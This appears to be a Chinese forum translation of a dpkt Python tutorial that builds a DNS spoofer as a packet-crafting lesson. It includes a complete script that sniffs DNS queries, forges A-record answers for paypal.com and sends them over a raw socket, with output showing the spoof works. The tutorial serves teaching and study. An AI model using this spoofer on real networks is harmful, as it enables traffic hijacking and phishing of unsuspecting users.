-
-
[翻译]python dpkt库文档翻译之#3:DNS Spoofing
-
发表于: 2016-10-7 22:30 7285
-
dpkt Tutorial #3: DNS Spoofing
原文地址:https://jon.oberheide.org/blog/2008/12/20/dpkt-tutorial-3-dns-spoofing/
为了本教程更加好读 我添加了个dns报文格式
在我们的第一和第二部分的dpkt教程里,我们可以看到简单的结构和数据包各个部分的解析。我们第三部分教程在一个DNS spoof(按dsniff的dns欺骗方法讲述)应用程序中结合了解析和创建数据包。
Dpkt在创建和解析数据包上是一个非常棒的框架。然而dpkt并没有很多文档,一旦你熟悉使用这个模块,其余方面就相当容易了。我将会用一些简单的小任务作为 dpkt 教程,希望能提供一些文档的例子。如果你有任何项目想要用 dpkt 库完成,就写信给我。
在本部分教程中,我们将使用dpkt库解析线路中的DNS请求和创建欺骗的DNS响应发回去。在这个例子中,我们同样会使用dnet库和pypcap库。因为在这之前,你已经读完了第一和第二部分教程,我们将认为你对用dpkt库解析和创建数据包较熟悉。
Dpkt库最普遍的用法之一就是解析线路中的数据包,而pypcap库会使这变得简单。我们将会开始通过设置pypcap的BPF表现成“udp dst port 53”的形式,因为我们仅仅了解DNS请求和用dpkt库解析每个数据包来传递给我:
pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
接下来,我们需要在解析DNS payload方面进行一些验证,因为我们想欺骗响应合法的DNS请求。在接下来的片段,我们确保DNS payload是一个真的请求,在这个查询部分有一个单独的RR,没有响应或名称服务RR。并且RR在这个查询部分是一个A记录和IN类:
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
如上小节所示,dpkt库的DNS模块解析DNS payload(qd,an,ns,ar)各个部分到python列表。这将在构造我们的响应之时派上用场。除了验证DNS payload,我们仅仅想欺骗响应某些特殊域名。在此例中,我们仅仅欺骗响应paypal.com:
if dns.qd[0].name != 'paypal.com':
continue
现在我们解析和解码DNS请求,我们需要构造我们的欺骗响应并且把它发送给客户端。我们可以重用已经存在的一个请求并适当地修改它,而不是从头开始构建一个新的包。首先我们通过设置DNS头的属性,表明它是一个响应:
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
接下来,我们需要创建我们的伪造RR,这个RR将会包含在DNS响应的回答部分中。我们创建一个类型对象dpkt.dns.DNS.RR并把伪造RR填入:
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
为了达到本教程的目标,我们的欺骗回答RR会宣称paypal.com在127.0.0.1。因为dns.an是一个python列表,我们可以简单地添加这个arr对象给它:
dns.an.append(arr)
如果我们打印出这个dns对象,我们可以看到在查询和回答部分的正确RRs:
>>> print dns
DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)
现在,我们的DNS payload完整了,我们接下来必须在原始数据包中补充好UDP和IP层。因为我们正重用已存在的数据包并且想把它发回给客户端,我们这动作就像是服务器的一样,我们仅仅交换了源和目的端口号和地址:
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
接下来,我们需要附加上我们新的DNS payload。我们通过分配dns对象给udp对象的数据属性做到这个。并且因为我们修改了DNS payload的长度,我们需要适当地更新UDP层和IP层的长度属性:
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
我们可以看一看我们的完整的payload,包含着IP,UDP和NDS payload:
>>> print ip
IP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,
p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,
data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))
最后,我们可以校验和,然后通过我们的原始socket发送出去:
buf = dnet.ip_checksum(str(ip))
sock.send(buf)
这就是本教程的结论!当我们运行DNS欺骗脚本并且尝试联系为paypal.com,我们看到它成功地欺骗了回复:
jonojono@jonojono ~ $ ping paypal.com
PING paypal.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms
...
本教程完整python脚本如下:
#!/usr/bin/env python
import dnet, dpkt, pcap
sock = dnet.ip()
pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
# parse the packet
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
# validate the DNS query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# only spoof for our target name
if dns.qd[0].name != 'paypal.com':
continue
# transform DNS query into response
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
# construct our fake answer RR
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
dns.an.append(arr)
# fix up IP and UDP layers
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
print `ip`
# send out spoofed response
buf = dnet.ip_checksum(str(ip))
sock.send(buf)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)